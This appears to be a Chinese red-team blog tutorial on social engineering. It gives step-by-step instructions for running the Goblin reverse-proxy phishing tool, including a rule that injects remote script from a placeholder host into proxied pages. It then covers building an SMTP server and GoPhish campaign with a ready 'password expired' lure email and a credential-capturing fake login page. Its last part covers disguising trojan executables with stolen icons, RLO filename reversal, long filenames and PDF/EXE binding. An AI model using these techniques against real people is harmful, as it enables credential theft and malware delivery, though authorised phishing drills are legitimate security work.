红队 | 社会工程学 | 邮件钓鱼 、木马伪装

ops/2024/9/25 9:34:33/

社会工程学

目录

  • 社会工程学介绍
  • goblin
    • 1、下载解压运行
    • 2、修改配置文件,克隆页面
    • 3、重新运行,使配置生效
    • 4、注入 js 模块
  • 搭建钓鱼平台
    • 1、搭建smtp服务
      • 1)确定服务器是否满足自建smtp服务
      • 2)安装postfix
      • 3)修改配置文件
      • 4)启动postfix服务
      • 5)发送测试邮件
    • 2、安装gophish
      • 1)下载解压缩
      • 2)修改配置文件
      • 3)运行gophish
      • 4)访问gophish
    • 3、gophish的使用
      • 1)新建发送配置文件Sending Profiles
      • 2)伪装登录页Landing Pages
      • 3)设置邮件模版Email Templates
      • 4)设置用户组New Group
      • 5)开始发送Campaigns
      • 6)模仿用户中招
  • 木马伪装
    • Resource Hacker替换图标
      • 提取软件图标
      • 修改木马图标
    • 长文件名
    • RLO字符反转
    • pdf和exe做木马捆绑

社会工程学介绍

社会工程学是一种特殊的攻击方式,与其他利用系统漏洞等网络攻击和入侵不同,社会工程学充分利用了人性中的“弱点”,包括本能反应、好奇心、信任、贪婪等,通过伪装、欺骗、恐吓、威逼等种种方式以达到目的。

信息系统的管理者和使用者都是人,无论信息系统部署了多少安全产品,采取了多少有效的安全技术,如果系统的管理者或者使用者被利用,这些防护技术和措施都将成为摆设。人的因素才是系统的软肋,可以毫不夸张地说,人是信息系统安全防护体系中最不稳定也是最脆弱的环节。

社会工程学攻击是一种复杂的攻击,不能等同于一般的欺骗方法,很多即使是自认为非常警惕及小心的人,一样会被高明的社会工程学攻击所攻破。

goblin

Goblin 是一款适用于红蓝对抗的钓鱼演练工具。通过反向代理,可以在不影响用户操作的情况下无感知的获取用户的信息,或者诱导用户操作。也可以通过使用代理方式达到隐藏服务端的目的。内置插件,通过简单的配置,快速调整网页内容以达到更好的演练效果

  • 下载地址:https://github.com/xiecat/goblin
  • 使用文档:https://goblin.xiecat.fun/

1、下载解压运行

下载

wget https://github.com/xiecat/goblin/releases/download/v0.4.6/goblin_0.4.6_linux_amd64.tar.gz  

解压进入,添加执行权限

chmod a+x goblin

运行程序,会生成一个goblin.yaml

./goblin

在这里插入图片描述

Loglevel: 2    # 日志输出
Server:        # 服务器一些超时设置默认值即可IdleTimeout: 3m0sReadTimeout: 5m0sWriteTimeout: 5m0sReadHeaderTimeout: 30sProxyHeader: RemoteAddr # 获取真实 IP 默认是访问 IPStaticDir: static       # 本地静态文件目录可以放一些工具,方便使用 StaticURI: /tkxfjiftee/ # 静态文件服务器的访问目录
Proxy:MaxIdleConns: 512       # 代理一些配置默认即可IdleConnTimeout: 2m0sTLSHandshakeTimeout: 1m0sExpectContinueTimeout: 1smaxcontentlength: -1 # 处理响应数据最大值默认 20M,超过这个值,插件中需要读取 body 的操作会被取消ProxyServerAddr: "" # 设置代理,设置后通过代理进行网页请求ProxyCheckURL: https://myip.ipip.net/ # 访问此地址检查代理设置是否正确PluginDir: pluginsCertDir: certSite:127.0.0.1:8083:  # 请求头的 host 类似于 nginx server_name 如果不匹配 访问不了Listen: 0.0.0.0  # 侦听端口。为 127.0.0.1 那么只能本机访问StaticPrefix: inn3o3pefl # 这个是 InjectJs 模块使用。用于访问注入的 jsSSL: false  # httpsCAKey: ""CACert: ""ProxyPass: https://www.douban.com/   # 要代理的地址Plugin: ""   # 需要使用的插件,目前只能为一个127.0.0.1:8084:Listen: 0.0.0.0StaticPrefix: 72x0alzmleSSL: falseCAKey: ""CACert: ""ProxyPass: https://www.baidu.comPlugin: demo
Notice:dingtalk:DingTalk: ""  # 钉钉提醒地址
iplocation:type: qqwrygeo_license_key: ""
log_file: goblin.log
cache:type: self  # 可使用的缓存类型 [redis,none,self] self 缓存到本地,redis 缓存到 redis 。none 不使用缓存expire_time: 10m0s # 缓存失效时间redis:host: 127.0.0.1port: 6379password: tryG3IhrSQdb: 0
CacheType: # 可缓存的路径后缀。目前带有参数的静态文件不做缓存
- png
- jpg
- js
- jpeg
- css
- otf
- ttf
CacheSize: 12582912  # 最大缓存大小
SupportMIME:Enable: falseList:- text- application/json- application/javascript- application/x-javascript- message- application/hta- application/rtf- application/ecmascript- image/svg+xml- application/xhtml- application/xml
OutLog: ## 访问日志输出type: es7 # es7,es6,syslog,file  注意 windows 不支持 syslogloglevel: infoeslog:loglevel: infodsn: http://127.0.0.1:9200index: goblinhost: localhostfilelog:mode: text ## json 或者 textdsn: access.logsyslog:mode: textdsn: 127.0.0.1:514

2、修改配置文件,克隆页面

在Site:下添加新的克隆页面(其实不是克隆,而是反向代理)。

  • ProxyPass:克隆的页面(代理的地址)
  • Plugin:插件文件名

在这里插入图片描述

复制一份demo.yaml为tmooc.yaml(与goblin.yaml配置的Plugin插件名一致)。

在这里插入图片描述

插件文件中的内容如下:

Name: demo
Version: 0.0.1
Description: this is a description
WriteDate: "2021-09-06"
Author: goblin
Rule:
- url: /Match: WordReplace: ## 替换模块- Request:Method: ## 匹配到如下请求方式方可替换- GETHeader:goblin: 1.0.1  # 替换的 header 头内容。为空则是删除。Response: # 替换的响应内容Body:Append: <script type='text/javascript'>setTimeout(function(){alert("hello goblin!");}, 2000);</script> # 追加字符串

3、重新运行,使配置生效

在这里插入图片描述

在这里插入图片描述

其中页面中的弹窗,是由插件文件中设置的。

4、注入 js 模块

append 和 inject模块区别是 inject 直接注入到 js 里面。并且不会追加任何标签。append 是追加到 web 页面上需要标签闭合使用。

- url: /test.jsMatch: wordInjectJs:                       # 注入 js 模块     File: http://xxx.com/eval.js

搭建钓鱼平台

1、搭建smtp服务

1)确定服务器是否满足自建smtp服务
  • 尝试与大厂邮箱的25端口建立连接
telnet smtp.qq.com 25

在这里插入图片描述

2)安装postfix
yum -y install postfix
3)修改配置文件
vim /etc/postfix/main.cf
# 设置myhostname
myhostname = mail.test.com 
# 设置域名
mydomain = test.com  
# 设置$myorigin
myorigin = $mydomain
# 默认是localhost,修改为all
inet_interfaces = all
# 推荐ipv4,如果支持ipv6,则可以写成all
inet_protocols = ipv4
# 设置mydestination
mydestination = $myhostname, localhost.$mydomain, localhost, $mydomain
# 指定内网和本机的IP地址范围(不同)
mynetworks = 127.0.0.0/8,192.168.0.204/24
# 取消注释,邮件保存目录
home_mailbox = Maildir/
# 取消注释,设置banner
smtpd_banner = $myhostname ESMTP $mail_name
4)启动postfix服务
systemctl restart postfix
5)发送测试邮件
yum -y install mailx
echo "email test" | mail -s "title" xxxx@qq.com

2、安装gophish

  • 下载地址:https://github.com/gophish/gophish
  • 官网地址:https://getgophish.com/
  • 帮助文档:https://docs.getgophish.com/user-guide/

gophish-v0.12.1-linux-64bit.zip

1)下载解压缩
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip
2)修改配置文件
vim config.json

admin_server是后台管理页面,将127.0.0.1修改为0.0.0.0,默认开放端口是3333。

phish_server是钓鱼网站,默认开放80端口。

在这里插入图片描述

3)运行gophish
chmod a+x ./gophish
./gophish

在这里插入图片描述

4)访问gophish
https://IP地址:3333/

在这里插入图片描述

输入默认的用户名和密码登录。

然后重置密码:

在这里插入图片描述

在这里插入图片描述

3、gophish的使用

1)新建发送配置文件Sending Profiles

在这里插入图片描述

点击左下角“Send Test Email”测试邮件是否可以发送

在这里插入图片描述

邮件成功收到:

在这里插入图片描述

测试无问题后,点击页面右下角“Save Profile”进行保存。

在这里插入图片描述

2)伪装登录页Landing Pages
  • 注意:页面中需要包含form表单和input控件,才可以捕获到数据。

在这里插入图片描述

3)设置邮件模版Email Templates

模板和登录页面中提供了以下变量:

提示:请记住 - 模板区分_大小写_!

变量描述
{{.RId}}目标的唯一 ID
{{.FirstName}}目标的名字
{{.LastName}}目标的姓氏
{{.Position}}目标的位置
{{.Email}}目标的电子邮件地址
{{.From}}受欺骗的发件人
{{.TrackingURL}}跟踪处理程序的网址
{{.Tracker}}<img src=“{{.TrackingURL}}“/>
{{.URL}}网上诱骗网址
{{.BaseURL}}去除了路径和删除参数的基本 URL 。用于创建指向静态文件的链接。

比如构建一个密码过期,修改密码的钓鱼邮件:

{{.FirstName}}{{.LastName}}您好:对于邮件 {{.Email}} 的密码已过期.。请点击这里{{.URL}}重置您的密码。谢谢。集团IT运维团队。

在这里插入图片描述

也可以点击左下角“Add Files”添加恶意附件。

4)设置用户组New Group

在这里插入图片描述

5)开始发送Campaigns

在这里插入图片描述

发送成功

在这里插入图片描述

6)模仿用户中招

用户成功接收到邮件:

在这里插入图片描述

点击链接重置密码,会出现一个伪装的网站。点击登录,输入用户名、密码。

在这里插入图片描述

在gophish会显示相应的数据:

在这里插入图片描述

在这里插入图片描述

木马伪装

Resource Hacker替换图标

  • http://angusj.com/resourcehacker/

reshacker_setup.exe

提取软件图标

将软件拖入Resource Hacker,点开Icon,选择一个比较清晰的图标,右击“Save *.ico resource…”。

在这里插入图片描述

修改木马图标

将exe的木马文件拖入Resource Hacker,点击"+"图标,点击"Select File…“选择正常的Icon,然后点击"Add Resource”。

在这里插入图片描述

之后点击"Save as"另存。

在这里插入图片描述

之后可以看到,木马文件的图标成功修改。

长文件名

RLO字符反转

点击文件重命名,光标放在要进行反转的文字前面,右击点击RLO。

在这里插入图片描述

文件名后缀成功进行反转:

在这里插入图片描述

pdf和exe做木马捆绑

  • https://github.com/Yihsiwei/GoFileBinder/releases

GoFileBinder2.5.exe


最优组合:长文件名+图标是文件夹图标

注意:放在文件夹中,打包,长文件名会以点省略。


http://www.ppmy.cn/ops/48905.html

相关文章

室内定位技术解析:蓝牙信标在室内导航中的应用

室内定位技术&#xff0c;作为现代导航领域的重要突破&#xff0c;解决了GPS在室内空间定位的局限&#xff0c;为我们提供了一种全新的空间认知和利用方式。本文将以蓝牙技术为例&#xff0c;深入解析室内定位的工作原理、关键技术和系统构成&#xff0c;以及在现代导航中的应用…

Termius安装docker

安装Termius 直接上官网 新建主机 更新一下yum 更新完成 安装docker的包 直接用命令安装 设置一下开机启动&#xff0c;可以查看docker的版本

go context 源码刨析(一)

Context 上下文context.Context 是用来设置截止时间、同步信号&#xff0c;传递请求相关值的结构体。 context.Context 定义了四个需要实现的方法&#xff1a; Deadline: 返回 context.Context 被取消的时间。Done: 返回一个 Channel&#xff0c;这个 Channel 会在当前工作完…

【Qt 快速入门(三)】- Qt信号和槽

目录 Qt 快速入门&#xff08;三&#xff09;- Qt信号和槽Qt信号和槽详解信号和槽的基本概念信号槽连接 信号和槽的声明与定义连接信号和槽信号和槽的高级特性自动参数匹配信号与信号连接lambda 表达式作为槽自定义信号和槽 信号和槽的线程支持跨线程连接 信号和槽的生命周期管…

Pytest框架中pytest.mark功能

文章目录 mark功能 1. 使用pytest.mark.skip 2. 使用pytest.mark.skipif 3. 使用 pytest.mark.xfail 4使用pytest.mark.parametrize 5 使用pytest.mark.自定义标记 6 使用pytest.mark.usefixtures pytest 的mark功能在pytest官方文档是这样解释的&#xff1a; https://…

C++移动语义

C语言如何实现类似C移动语义 在 C 语言中&#xff0c;没有直接支持移动语义的语法或特性&#xff0c;因为 C 语言相对于 C 来说更为底层&#xff0c;缺乏像 C 那样的语言特性和标准库。然而&#xff0c;你可以通过手动管理内存来实现类似移动语义的效果。 移动语义的主要目的…

PyTorch 统计属性-Tensor基本操作

最小 min, 最大 max, 均值 mean&#xff0c;累加 sum&#xff0c;累乘 prod … >>> a torch.arange(0,8).view(2,4).float() >>> a tensor([[0., 1., 2., 3.],[4., 5., 6., 7.]])>>> a.min() ## 最小值&#xff1a;tensor(0.) >>> a.ma…

3D场景的交互设计有什么软件吗?

需求&#xff1a;类似于游戏那样在3D房间内&#xff0c;能通过鼠标或键盘操作在房间里自由行走。 对于3D场景的交互设计&#xff0c;尤其是像设计一间房间并允许用户在其中自由行走这样的需求&#xff0c;以下几款软件应该会适合&#xff1a; 1、博维数孪&#xff1a;专业从事…